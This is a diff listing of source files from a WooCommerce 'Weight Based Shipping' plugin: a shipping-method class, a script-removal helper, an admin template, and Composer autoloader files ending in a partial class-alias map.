private function optionName($forRuleId)
{
return "{$this->prefix}{$forRuleId}{$this->suffix}";
}
/**
* Converts objects to arrays recursively
*
* @param mixed $value
* @return mixed $value
*/
static private function object2Array($value)
{
if ($value instanceof \__PHP_Incomplete_Class) {
$array = array();
foreach ((array)$value as $property => $value) {
$array[@end(explode("\0", $property))] = $value;
}
unset($array['__PHP_Incomplete_Class_Name']);
$value = $array;
}
if (is_object($value)) {
$array = array();
$o = new \ReflectionObject($value);
foreach ($o->getProperties() as $property) {
$property->setAccessible(true);
$array[$property->getName()] = $property->getValue($value);
}
$value = $array;
}
if (is_array($value)) {
foreach ($value as &$v) {
$v = self::object2Array($v);
}
}
return $value;
}
}

View File

@@ -0,0 +1,272 @@
<?php
namespace Wbs;
use Wbs\Services\ApiService;
use Wbs\Services\ApiService\Apis\ConfigApi;
use Wbs\Services\ApiService\Apis\LegacyConfigApi;
use WbsVendors\Dgm\Arrays\Arrays;
use WbsVendors\Dgm\Shengine\Interfaces\IProcessor;
use WbsVendors\Dgm\Shengine\Processing\Processor;
use WbsVendors\Dgm\Shengine\Units;
use WbsVendors\Dgm\Shengine\Woocommerce\Converters\PackageConverter;
use WbsVendors\Dgm\Shengine\Woocommerce\Converters\RateConverter;
use WbsVendors\Dgm\WcTools\WcTools;
use WC_Shipping_Method;
use WP_Term;
class ShippingMethod extends WC_Shipping_Method
{
/** @noinspection PhpMissingParentConstructorInspection */
public function __construct($instanceId = null)
{
$this->plugin_id = Plugin::ID;
$this->id = Plugin::ID;
$this->title = $this->method_title = 'Weight Based Shipping';
$this->instance_id = absint($instanceId);
$this->supports = array(
'settings',
'shipping-zones',
'instance-settings',
'global-instance',
);
$this->init_settings();
}
public function config($config = null)
{
$optionKey = $this->get_option_key();
if (func_num_args()) {
$updated = update_option($optionKey, $config);
if ($updated) {
WcTools::purgeShippingCache();
}
} else {
$config = get_option($optionKey, null);
$config['enabled'] = WcTools::yesNo2Bool(isset($config['enabled']) ? $config['enabled'] : true);
}
return $config;
}
public function calculate_shipping($_package = array())
{
$package = PackageConverter::fromWoocommerceToCore($_package);
$processor = new Processor();
$rules = $this->loadRules($processor);
$rates = $processor->process($rules, $package);
$_rates = RateConverter::fromCoreToWoocommerce(
$rates,
$this->title,
join(':', array_filter(array($this->id, @$this->instance_id))).':'
);
foreach ($_rates as $_rate) {
$this->add_rate($_rate);
}
}
public function admin_options()
{
WpTools::addActionOrCall('admin_enqueue_scripts', array($this, '_enqueueAssets'), PHP_INT_MAX);
parent::admin_options();
}
public function generate_settings_html($form_fields = array(), $echo = true)
{
$result = call_user_func_array('parent::generate_settings_html', func_get_args());
if (!Plugin::wc26plus()) {
echo $this->get_admin_options_html();
}
return $result;
}
public function get_admin_options_html()
{
ob_start();
/** @noinspection PhpIncludeInspection */
include(Plugin::instance()->meta->paths->tplFile);
return ob_get_clean();
}
public function get_instance_id()
{
// A hack to prevent Woocommerce 2.6 from skipping global method instance
// rates in WC_Shipping::calculate_shipping_for_package()
return (method_exists('parent', 'get_instance_id') ? parent::get_instance_id() : $this->instance_id) ?: -1;
}
public function get_option_key()
{
return join('_', array_filter(array(
$this->plugin_id,
$this->instance_id,
'config',
)));
}
public function init_settings()
{
$this->settings = $this->config();
$this->enabled = $this->settings['enabled'] = WcTools::bool2YesNo($this->settings['enabled']);
}
public function get_instance_option_key()
{
return self::get_option_key();
}
public function init_instance_settings()
{
$this->init_settings();
}
public function _enqueueAssets()
{
$plugin = Plugin::instance();
$version = $plugin->meta->version;
$paths = $plugin->meta->paths;
// Firefox and Safari, with Yoast SEO active, throws "TypeError: can't convert undefined to object" error.
// We'd better handle that for all browsers just to get a consistent result.
if (defined('WPSEO_VERSION')) {
WpTools::addActionOrCall('wp_print_scripts', function() use ($paths) {
WpTools::removeScripts(array("#(/|\\\\)wp-seo-babel#"), $paths->getAssetUrl());
});
}
if (defined('WBS_DEV') && WBS_DEV) {
wp_register_script('wbs-polyfills', $paths->getAssetUrl('polyfills.js'));
wp_register_script('wbs-vendor', $paths->getAssetUrl('vendor.js'), array('wbs-polyfills'));
wp_enqueue_script('wbs-app', $paths->getAssetUrl('app.js'), array('jquery', 'wbs-polyfills', 'wbs-vendor'));
} else {
wp_enqueue_script('wbs-app', $paths->getAssetUrl('client.js'), array('jquery'), $version);
}
wp_enqueue_script('jquery-ui-sortable');
$currencyPlacement = explode('_', get_option('woocommerce_currency_pos'));
wp_localize_script('wbs-app', 'wbs_js_data', array(
'locations' => self::getAllLocations(),
'shippingClasses' => self::getAllShippingClasses(),
'weightUnit' => get_option('woocommerce_weight_unit'),
'currency' => array(
'symbol' => html_entity_decode(get_woocommerce_currency_symbol()),
'right' => $currencyPlacement[0] === 'right',
'withSpace' => @$currencyPlacement[1] === 'space',
),
'config' => $this->config(),
'isGlobalInstance' => empty($this->instance_id),
'endpoints' => array(
'config' =>
ApiService::endpoint(ConfigApi::className())->url(array('instance_id' => $this->instance_id)),
'legacyConfig' =>
$plugin->legacyConfig->exists()
? ApiService::endpoint(LegacyConfigApi::className())->url()
: null
),
'wcpre26' => !Plugin::wc26plus(),
));
}
static public function className()
{
return get_called_class();
}
static private function getStateCode($cc, $sc = null)
{
if (self::isWildcardStateCode($sc)) {
$sc = null;
}
return rtrim("{$cc}:{$sc}", ":");
}
static private function isWildcardStateCode($sc)
{
return !$sc || $sc === '*';
}
static private function getAllLocations()
{
$locations = array();
foreach (WC()->countries->get_shipping_countries() as $cc => $country) {
$country = html_entity_decode($country);
$locations[] = array(
'id' => self::getStateCode($cc, '*'),
'name' => $country
);
if ($states = WC()->countries->get_states($cc)) {
foreach ($states as $sc => $state) {
$state = html_entity_decode($state);
$locations[] = array(
'id' => self::getStateCode($cc, $sc),
'name' => "{$country}{$state}"
);
}
}
}
return $locations;
}
static private function getAllShippingClasses()
{
return Arrays::map(WC()->shipping->get_shipping_classes(), function(WP_Term $term) {
return array(
'id' => (string)$term->term_id,
'name' => (string)$term->name,
'slug' => (string)$term->slug,
);
});
}
private function loadRules(IProcessor $processor)
{
$config = $this->config();
$_rules = array();
if (isset($config['rules'])) {
$_rules = $config['rules'];
}
$mapper = new RulesMapper(
Units::fromPrecisions(
pow(10, wc_get_price_decimals()),
1000,
1000
),
$processor
);
$rules = $mapper->read($_rules);
return $rules;
}
}

View File

@@ -0,0 +1,35 @@
<?php
namespace Wbs;
class WpTools
{
static public function removeScripts(array $regexes, $keepAssetsStartingWithUrl = null)
{
global $wp_scripts;
$url = $keepAssetsStartingWithUrl;
/** @var \_WP_Dependency $dep */
foreach ($wp_scripts->registered as $dep) {
if (($src = (string)@$dep->src) !== '')
if (!isset($url) || substr_compare($src, $url, 0, strlen($url)) !== 0) {
foreach ($regexes as $regex) {
if (preg_match($regex, $src)) {
$wp_scripts->remove($dep->handle);
break;
}
}
}
}
}
static public function addActionOrCall($action, $callback, $priority = 10, $acceptedArgs = 1)
{
if (did_action($action)) {
call_user_func($callback);
} else {
add_action($action, $callback, $priority, $acceptedArgs);
}
}
}

View File

@@ -0,0 +1,23 @@
</form>
<style>
.form-table + p.submit, /* wc pre-2.6. */
#mainform > h2 {
display: none;
}
</style>
<!--suppress JSUnresolvedVariable -->
<script>
jQuery(function() {
if (!wbs_js_data.isGlobalInstance) {
jQuery('#mainform > h2').show();
}
});
</script>
<div class="woocommerce">
<app></app>
</div>
<form style="display: none">

View File

@@ -0,0 +1,10 @@
<?php
call_user_func(require(__DIR__.'/dangoodman/composer-capsule-runtime/autoload.php'), __DIR__.'/composer/capsuled.php');
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684::getLoader();

View File

@@ -0,0 +1,445 @@
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace WbsVendors\Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component', __DIR__.'/component');
* $loader->add('Symfony', __DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see http://www.php-fig.org/psr/psr-0/
* @see http://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
// PSR-4
private $prefixLengthsPsr4 = array();
private $prefixDirsPsr4 = array();
private $fallbackDirsPsr4 = array();
// PSR-0
private $prefixesPsr0 = array();
private $fallbackDirsPsr0 = array();
private $useIncludePath = false;
private $classMap = array();
private $classMapAuthoritative = false;
private $missingClasses = array();
private $apcuPrefix;
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge', $this->prefixesPsr0);
}
return array();
}
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array $classMap Class to filename map
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap, $classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*/
public function add($prefix, $paths, $prepend = false)
{
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
(array) $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
(array) $paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
(array) $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param array|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
(array) $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
(array) $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
(array) $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 base directories
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param array|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the extension is enabled.
*
* @param string|null $apcuPrefix
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true, $prepend);
}
/**
* Unregisters this instance as an autoloader.
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return bool|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
includeFile($file);
return true;
}
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class, '.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\')) {
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath . '\\';
if (isset($this->prefixDirsPsr4[$search])) {
$pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
foreach ($this->prefixDirsPsr4[$search] as $dir) {
if (file_exists($file = $dir . $pathEnd)) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*/
function includeFile($file)
{
include $file;
}

View File

@@ -0,0 +1,17 @@
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'WbsVendors\\Deferred\\Deferred' => $vendorDir . '/dangoodman/deferred/Deferred.php',
'WbsVendors\\Dgm\\Arrays\\Arrays' => $vendorDir . '/dangoodman/arrays/Arrays.php',
'WbsVendors\\Dgm\\ClassNameAware\\ClassNameAware' => $vendorDir . '/dangoodman/class-name-aware/ClassNameAware.php',
'WbsVendors\\Dgm\\SimpleProperties\\SimpleProperties' => $vendorDir . '/dangoodman/simple-properties/SimpleProperties.php',
'WbsVendors\\Dgm\\WcTools\\WcTools' => $vendorDir . '/dangoodman/wc-tools/WcTools.php',
'WbsVendors_DgmWpDismissibleNotices' => $vendorDir . '/dangoodman/wp-plugin-bootstrap-guard/DgmWpDismissibleNotices.php',
'WbsVendors_DgmWpPluginBootstrapGuard' => $vendorDir . '/dangoodman/wp-plugin-bootstrap-guard/DgmWpPluginBootstrapGuard.php',
'wbs' => $baseDir . '/wbs.php',
);

View File

@@ -0,0 +1,10 @@
<?php
// autoload_files.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'b411d774a68934fe83360f73e6fe640f' => $vendorDir . '/dangoodman/composer-capsule-runtime/autoload.php',
);

View File

@@ -0,0 +1,9 @@
<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);

View File

@@ -0,0 +1,19 @@
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Wbs\\' => array($baseDir . '/src'),
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\' => array($vendorDir . '/dangoodman/shengine-wc-item/src'),
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\' => array($vendorDir . '/dangoodman/shengine-wc-converters/src'),
'WbsVendors\\Dgm\\Shengine\\Migrations\\' => array($vendorDir . '/dangoodman/shengine-migrations/src'),
'WbsVendors\\Dgm\\Shengine\\' => array($vendorDir . '/dangoodman/shengine/src'),
'WbsVendors\\Dgm\\Range\\' => array($vendorDir . '/dangoodman/range/src'),
'WbsVendors\\Dgm\\PluginServices\\' => array($vendorDir . '/dangoodman/wp-plugin-services/src'),
'WbsVendors\\Dgm\\NumberUnit\\' => array($vendorDir . '/dangoodman/number-unit/src'),
'WbsVendors\\Dgm\\Comparator\\' => array($vendorDir . '/dangoodman/comparator/src'),
'WbsVendors\\BoxPacking\\' => array($vendorDir . '/dangoodman/boxpacking/src'),
);

View File

@@ -0,0 +1,70 @@
<?php
// autoload_real.php @generated by Composer
class WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684
{
private static $loader;
public static function loadClassLoader($class)
{
if ('WbsVendors\Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684', 'loadClassLoader'), true, true);
self::$loader = $loader = new \WbsVendors\Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684', 'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\WbsVendors\Composer\Autoload\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ . '/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
if ($useStaticLoader) {
$includeFiles = \WbsVendors\Composer\Autoload\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684::$files;
} else {
$includeFiles = require __DIR__ . '/autoload_files.php';
}
foreach ($includeFiles as $fileIdentifier => $file) {
composerRequire1ef25787cb7c3885f7c08ca2bea15684($fileIdentifier, $file);
}
return $loader;
}
}
function composerRequire1ef25787cb7c3885f7c08ca2bea15684($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
}
}

View File

@@ -0,0 +1,92 @@
<?php
// autoload_static.php @generated by Composer
namespace WbsVendors\Composer\Autoload;
class ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684
{
public static $files = array (
'b411d774a68934fe83360f73e6fe640f' => __DIR__ . '/..' . '/dangoodman/composer-capsule-runtime/autoload.php',
);
public static $prefixLengthsPsr4 = array (
'W' =>
array (
'Wbs\\' => 4,
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\' => 47,
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\' => 47,
'WbsVendors\\Dgm\\Shengine\\Migrations\\' => 35,
'WbsVendors\\Dgm\\Shengine\\' => 24,
'WbsVendors\\Dgm\\Range\\' => 21,
'WbsVendors\\Dgm\\PluginServices\\' => 30,
'WbsVendors\\Dgm\\NumberUnit\\' => 26,
'WbsVendors\\Dgm\\Comparator\\' => 26,
'WbsVendors\\BoxPacking\\' => 22,
),
);
public static $prefixDirsPsr4 = array (
'Wbs\\' =>
array (
0 => __DIR__ . '/../..' . '/src',
),
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/shengine-wc-item/src',
),
'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/shengine-wc-converters/src',
),
'WbsVendors\\Dgm\\Shengine\\Migrations\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/shengine-migrations/src',
),
'WbsVendors\\Dgm\\Shengine\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/shengine/src',
),
'WbsVendors\\Dgm\\Range\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/range/src',
),
'WbsVendors\\Dgm\\PluginServices\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/wp-plugin-services/src',
),
'WbsVendors\\Dgm\\NumberUnit\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/number-unit/src',
),
'WbsVendors\\Dgm\\Comparator\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/comparator/src',
),
'WbsVendors\\BoxPacking\\' =>
array (
0 => __DIR__ . '/..' . '/dangoodman/boxpacking/src',
),
);
public static $classMap = array (
'WbsVendors\\Deferred\\Deferred' => __DIR__ . '/..' . '/dangoodman/deferred/Deferred.php',
'WbsVendors\\Dgm\\Arrays\\Arrays' => __DIR__ . '/..' . '/dangoodman/arrays/Arrays.php',
'WbsVendors\\Dgm\\ClassNameAware\\ClassNameAware' => __DIR__ . '/..' . '/dangoodman/class-name-aware/ClassNameAware.php',
'WbsVendors\\Dgm\\SimpleProperties\\SimpleProperties' => __DIR__ . '/..' . '/dangoodman/simple-properties/SimpleProperties.php',
'WbsVendors\\Dgm\\WcTools\\WcTools' => __DIR__ . '/..' . '/dangoodman/wc-tools/WcTools.php',
'WbsVendors_DgmWpDismissibleNotices' => __DIR__ . '/..' . '/dangoodman/wp-plugin-bootstrap-guard/DgmWpDismissibleNotices.php',
'WbsVendors_DgmWpPluginBootstrapGuard' => __DIR__ . '/..' . '/dangoodman/wp-plugin-bootstrap-guard/DgmWpPluginBootstrapGuard.php',
'wbs' => __DIR__ . '/../..' . '/wbs.php',
);
public static function getInitializer(\WbsVendors\Composer\Autoload\ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 = \WbsVendors\Composer\Autoload\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 = \WbsVendors\Composer\Autoload\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684::$prefixDirsPsr4;
$loader->classMap = \WbsVendors\Composer\Autoload\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684::$classMap;
}, null, \WbsVendors\Composer\Autoload\ClassLoader::class);
}
}

View File

@@ -0,0 +1,302 @@
<?php return array (
'capsule' =>
array (
'class' =>
array (
'ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684' => 'WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684',
'Composer\\Autoload\\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684' => 'WbsVendors\\Composer\\Autoload\\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684',
'Composer\\Autoload\\ClassLoader' => 'WbsVendors\\Composer\\Autoload\\ClassLoader',
'Dgm\\Arrays\\Arrays' => 'WbsVendors\\Dgm\\Arrays\\Arrays',
'BoxPacking\\Packer' => 'WbsVendors\\BoxPacking\\Packer',
'BoxPacking\\Skyline' => 'WbsVendors\\BoxPacking\\Skyline',
'BoxPacking\\Utils' => 'WbsVendors\\BoxPacking\\Utils',
'Dgm\\ClassNameAware\\ClassNameAware' => 'WbsVendors\\Dgm\\ClassNameAware\\ClassNameAware',
'Dgm\\Comparator\\AbstractComparator' => 'WbsVendors\\Dgm\\Comparator\\AbstractComparator',
'Dgm\\Comparator\\IComparator' => 'WbsVendors\\Dgm\\Comparator\\IComparator',
'Dgm\\Comparator\\NumberComparator' => 'WbsVendors\\Dgm\\Comparator\\NumberComparator',
'Dgm\\Comparator\\StringComparator' => 'WbsVendors\\Dgm\\Comparator\\StringComparator',
'CCR' => 'WbsVendors_CCR',
'Dgm\\ComposerCapsule\\Runtime\\Runtime' => 'WbsVendors\\Dgm\\ComposerCapsule\\Runtime\\Runtime',
'Dgm\\ComposerCapsule\\Runtime\\Wrapper' => 'WbsVendors\\Dgm\\ComposerCapsule\\Runtime\\Wrapper',
'Deferred\\Deferred' => 'WbsVendors\\Deferred\\Deferred',
'Dgm\\NumberUnit\\NumberUnit' => 'WbsVendors\\Dgm\\NumberUnit\\NumberUnit',
'Dgm\\Range\\Range' => 'WbsVendors\\Dgm\\Range\\Range',
'Dgm\\Shengine\\Aggregators\\AverageAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\AverageAggregator',
'Dgm\\Shengine\\Aggregators\\FirstAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\FirstAggregator',
'Dgm\\Shengine\\Aggregators\\LastAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\LastAggregator',
'Dgm\\Shengine\\Aggregators\\MaxAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\MaxAggregator',
'Dgm\\Shengine\\Aggregators\\MinAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\MinAggregator',
'Dgm\\Shengine\\Aggregators\\ReduceAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\ReduceAggregator',
'Dgm\\Shengine\\Aggregators\\SumAggregator' => 'WbsVendors\\Dgm\\Shengine\\Aggregators\\SumAggregator',
'Dgm\\Shengine\\Attributes\\AbstractAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\AbstractAttribute',
'Dgm\\Shengine\\Attributes\\CountAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\CountAttribute',
'Dgm\\Shengine\\Attributes\\CouponsAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\CouponsAttribute',
'Dgm\\Shengine\\Attributes\\CustomerRolesAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\CustomerRolesAttribute',
'Dgm\\Shengine\\Attributes\\DestinationAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\DestinationAttribute',
'Dgm\\Shengine\\Attributes\\ItemAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\ItemAttribute',
'Dgm\\Shengine\\Attributes\\ItemDimensionsAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\ItemDimensionsAttribute',
'Dgm\\Shengine\\Attributes\\MapAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\MapAttribute',
'Dgm\\Shengine\\Attributes\\PriceAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\PriceAttribute',
